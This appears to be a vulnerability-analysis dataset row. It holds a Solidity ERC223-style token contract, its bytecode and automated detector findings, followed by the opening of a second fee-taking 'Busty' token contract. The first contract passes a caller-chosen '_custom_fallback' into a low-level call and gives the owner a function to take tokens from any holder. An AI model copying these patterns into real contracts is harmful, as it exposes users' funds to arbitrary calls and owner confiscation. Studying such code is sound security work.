require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6060604052600436106101505763ffffffff60e060020a60003504166305d2035b811461015a57806306fdde0314610181578063095ea7b31461020b57806318160ddd1461022d57806323b872dd14610252578063313ce5671461027a57806340c10f19146102a35780634f25eced146102c55780635ab89248146102d857806364ddc605146102eb57806370a082311461037a5780637d64bcb4146103995780638da5cb5b146103ac57806394594625146103db57806395d89b411461042c5780639dc29fac1461043f578063a8f11eb914610150578063a9059cbb14610461578063b414d4b614610483578063be45fd62146104a2578063c341b9f614610507578063cbbe974b1461055a578063d39b1d4814610579578063dd62ed3e1461058f578063dd924594146105b4578063f0dc417114610643578063f2fde38b146106d2578063f6368f8a146106f1575b610158610798565b005b341561016557600080fd5b61016d61090d565b604051901515815260200160405180910390f35b341561018c57600080fd5b610194610916565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101d05780820151838201526020016101b8565b50505050905090810190601f1680156101fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021657600080fd5b61016d600160a060020a03600435166024356109be565b341561023857600080fd5b610240610a2a565b60405190815260200160405180910390f35b341561025d57600080fd5b61016d600160a060020a0360043581169060243516604435610a30565b341561028557600080fd5b61028d610c3f565b60405160ff909116815260200160405180910390f35b34156102ae57600080fd5b61016d600160a060020a0360043516602435610c48565b34156102d057600080fd5b610240610d4a565b34156102e357600080fd5b610194610d50565b34156102f657600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d8795505050505050565b341561038557600080fd5b610240600160a060020a0360043516610ee1565b34156103a457600080fd5b61016d610efc565b34156103b757600080fd5b6103bf610f69565b604051600160a060020a03909116815260200160405180910390f35b34156103e657600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f7892505050565b341561043757600080fd5b610194611206565b341561044a57600080fd5b610158600160a060020a0360043516602435611279565b341561046c57600080fd5b61016d600160a060020a0360043516602435611361565b341561048e57600080fd5b61016d600160a060020a036004351661143c565b34156104ad57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061145195505050505050565b341561051257600080fd5b610158600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050505091351515915061151c9050565b341561056557600080fd5b610240600160a060020a036004351661161e565b341561058457600080fd5b610158600435611630565b341561059a57600080fd5b610240600160a060020a0360043581169060243516611650565b34156105bf57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061167b95505050505050565b341561064e57600080fd5b61016d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061192d95505050505050565b34156106dd57600080fd5b610158600160a060020a0360043516611bfb565b34156106fc57600080fd5b61016d60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c9695505050505050565b60006006541180156107c65750600654600154600160a060020a031660009081526008602052604090205410155b80156107eb5750600160a060020a0333166000908152600a602052604090205460ff16155b801561080e5750600160a060020a0333166000908152600b602052604090205442115b151561081957600080fd5b600034111561085657600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561085657600080fd5b600654600154600160a060020a03166000908152600860205260409020546108839163ffffffff611fee16565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108c19163ffffffff61200016565b600160a060020a033381166000818152600860205260409081902093909355600154600654919392169160008051602061243b83398151915291905190815260200160405180910390a3565b60075460ff1681565b61091e612428565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b820191906000526020600020905b81548152906001019060200180831161099757829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a4a5750600082115b8015610a6f5750600160a060020a038416600090815260086020526040902054829010155b8015610aa25750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610ac75750600160a060020a0384166000908152600a602052604090205460ff16155b8015610aec5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610b0f5750600160a060020a0384166000908152600b602052604090205442115b8015610b325750600160a060020a0383166000908152600b602052604090205442115b1515610b3d57600080fd5b600160a060020a038416600090815260086020526040902054610b66908363ffffffff611fee16565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b9b908363ffffffff61200016565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610be3908363ffffffff611fee16565b600160a060020a038086166000818152600960209081526040808320338616845290915290819020939093559085169160008051602061243b8339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c6657600080fd5b60075460ff1615610c7657600080fd5b60008211610c8357600080fd5b600554610c96908363ffffffff61200016565b600555600160a060020a038316600090815260086020526040902054610cc2908363ffffffff61200016565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061243b8339815191528460405190815260200160405180910390a350600192915050565b60065481565b60408051908101604052600881527f56524a546f6b656e000000000000000000000000000000000000000000000000602082015281565b60015460009033600160a060020a03908116911614610da557600080fd5b60008351118015610db7575081518351145b1515610dc257600080fd5b5060005b8251811015610edc57818181518110610ddb57fe5b90602001906020020151600b6000858481518110610df557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610e2357600080fd5b818181518110610e2f57fe5b90602001906020020151600b6000858481518110610e4957fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e7957fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610eb957fe5b9060200190602002015160405190815260200160405180910390a2600101610dc6565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610f1a57600080fd5b60075460ff1615610f2a57600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f8d575060008551115b8015610fb25750600160a060020a0333166000908152600a602052604090205460ff16155b8015610fd55750600160a060020a0333166000908152600b602052604090205442115b1515610fe057600080fd5b610ff4846305f5e10063ffffffff61200f16565b93506110088551859063ffffffff61200f16565b600160a060020a0333166000908152600860205260409020549092508290101561103157600080fd5b5060005b84518110156111b95784818151811061104a57fe5b90602001906020020151600160a060020a03161580159061109f5750600a600086838151811061107657fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156110e45750600b60008683815181106110b657fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156110ef57600080fd5b611133846008600088858151811061110357fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61200016565b6008600087848151811061114357fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061117357fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061243b8339815191528660405190815260200160405180910390a3600101611035565b600160a060020a0333166000908152600860205260409020546111e2908363ffffffff611fee16565b33600160a060020a0316600090815260086020526040902055506001949350505050565b61120e612428565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b45780601f10610989576101008083540402835291602001916109b4565b60015433600160a060020a0390811691161461129457600080fd5b6000811180156112bd5750600160a060020a038216600090815260086020526040902054819010155b15156112c857600080fd5b600160a060020a0382166000908152600860205260409020546112f1908263ffffffff611fee16565b600160a060020a03831660009081526008602052604090205560055461131d908263ffffffff611fee16565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b600061136b612428565b6000831180156113945750600160a060020a0333166000908152600a602052604090205460ff16155b80156113b95750600160a060020a0384166000908152600a602052604090205460ff16155b80156113dc5750600160a060020a0333166000908152600b602052604090205442115b80156113ff5750600160a060020a0384166000908152600b602052604090205442115b151561140a57600080fd5b6114138461203a565b1561142a57611423848483612042565b9150611435565b6114238484836122a5565b5092915050565b600a6020526000908152604090205460ff1681565b6000808311801561147b5750600160a060020a0333166000908152600a602052604090205460ff16155b80156114a05750600160a060020a0384166000908152600a602052604090205460ff16155b80156114c35750600160a060020a0333166000908152600b602052604090205442115b80156114e65750600160a060020a0384166000908152600b602052604090205442115b15156114f157600080fd5b6114fa8461203a565b156115115761150a848484612042565b9050610c38565b61150a8484846122a5565b60015460009033600160a060020a0390811691161461153a57600080fd5b600083511161154857600080fd5b5060005b8251811015610edc5782818151811061156157fe5b90602001906020020151600160a060020a0316151561157f57600080fd5b81600a600085848151811061159057fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106115ce57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a260010161154c565b600b6020526000908152604090205481565b60015433600160a060020a0390811691161461164b57600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b6000806000808551118015611691575083518551145b80156116b65750600160a060020a0333166000908152600a602052604090205460ff16155b80156116d95750600160a060020a0333166000908152600b602052604090205442115b15156116e457600080fd5b5060009050805b845181101561183657600084828151811061170257fe5b90602001906020020151118015611736575084818151811061172057fe5b90602001906020020151600160a060020a031615155b80156117765750600a600086838151811061174d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156117bb5750600b600086838151811061178d57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156117c657600080fd5b6117f06305f5e1008583815181106117da57fe5b906020019060200201519063ffffffff61200f16565b8482815181106117fc57fe5b6020908102909101015261182c84828151811061181557fe5b90602001906020020151839063ffffffff61200016565b91506001016116eb565b600160a060020a0333166000908152600860205260409020548290101561185c57600080fd5b5060005b84518110156111b95761189284828151811061187857fe5b906020019060200201516008600088858151811061110357fe5b600860008784815181106118a257fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106118d257fe5b90602001906020020151600160a060020a031633600160a060020a031660008051602061243b83398151915286848151811061190a57fe5b9060200190602002015160405190815260200160405180910390a3600101611860565b6001546000908190819033600160a060020a0390811691161461194f57600080fd5b60008551118015611961575083518551145b151561196c57600080fd5b5060009050805b8451811015611bd257600084828151811061198a57fe5b906020019060200201511180156119be57508481815181106119a857fe5b90602001906020020151600160a060020a031615155b80156119fe5750600a60008683815181106119d557fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015611a435750600b6000868381518110611a1557fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515611a4e57600080fd5b611a626305f5e1008583815181106117da57fe5b848281518110611a6e57fe5b60209081029091010152838181518110611a8457fe5b9060200190602002015160086000878481518110611a9e57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611acd57600080fd5b611b26848281518110611adc57fe5b9060200190602002015160086000888581518110611af657fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fee16565b60086000878481518110611b3657fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b6984828151811061181557fe5b915033600160a060020a0316858281518110611b8157fe5b90602001906020020151600160a060020a031660008051602061243b833981519152868481518110611baf57fe5b9060200190602002015160405190815260200160405180910390a3600101611973565b600160a060020a0333166000908152600860205260409020546111e2908363ffffffff61200016565b60015433600160a060020a03908116911614611c1657600080fd5b600160a060020a0381161515611c2b57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611cc05750600160a060020a0333166000908152600a602052604090205460ff16155b8015611ce55750600160a060020a0385166000908152600a602052604090205460ff16155b8015611d085750600160a060020a0333166000908152600b602052604090205442115b8015611d2b5750600160a060020a0385166000908152600b602052604090205442115b1515611d3657600080fd5b611d3f8561203a565b15611fd857600160a060020a03331660009081526008602052604090205484901015611d6a57600080fd5b600160a060020a033316600090815260086020526040902054611d93908563ffffffff611fee16565b600160a060020a033381166000908152600860205260408082209390935590871681522054611dc8908563ffffffff61200016565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611e165780518252601f199092019160209182019101611df7565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611ea7578082015183820152602001611e8f565b50505050905090810190601f168015611ed45780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ef857fe5b826040518082805190602001908083835b60208310611f285780518252601f199092019160209182019101611f09565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061243b8339815191528660405190815260200160405180910390a3506001611fe6565b611fe38585856122a5565b90505b949350505050565b600082821115611ffa57fe5b50900390565b600082820183811015610c3857fe5b6000808315156120225760009150611435565b5082820282848281151561203257fe5b0414610c3857fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561206a57600080fd5b600160a060020a033316600090815260086020526040902054612093908563ffffffff611fee16565b600160a060020a0333811660009081526008602052604080822093909355908716815220546120c8908563ffffffff61200016565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612161578082015183820152602001612149565b50505050905090810190601f16801561218e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156121ae57600080fd5b6102c65a03f115156121bf57600080fd5b505050826040518082805190602001908083835b602083106121f25780518252601f1990920191602091820191016121d3565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a031660008051602061243b8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a033316600090815260086020526040812054839010156122cb57600080fd5b600160a060020a0333166000908152600860205260409020546122f4908463ffffffff611fee16565b600160a060020a033381166000908152600860205260408082209390935590861681522054612329908463ffffffff61200016565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123765780518252601f199092019160209182019101612357565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a031660008051602061243b8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058200789fd9a42ed8e6efa570c5b67600cebf7fba2ee02cc4b2dc05c5c6bd506bcb90029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,926 |
0x737a783c6cA96963B336283d79ec055FD9F27bB5
|
/**
*Submitted for verification at Etherscan.io on 2021-07-11
*/
/*
Busty token
Busty is a charity token which is raising awareness and preventative measures for breast cancer.
https://busty.wtf
For any questions please contact us:
[email protected]
*/
/*
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event PairAddr(address indexed PairAddress);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Busty is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"BUSTY";
string private constant _symbol = "BSTY";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 7;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _charityFirst;
address payable private _charitySecond;
address payable private _burnWallet;
address payable private _marketing;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2, address payable addr3, address payable addr4) {
_charityFirst = addr1;
_charitySecond = addr2;
_burnWallet = addr3;
_marketing = addr4;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_charityFirst] = true;
_isExcludedFromFee[_charitySecond] = true;
_isExcludedFromFee[_burnWallet] = true;
_isExcludedFromFee[_marketing] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 7;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
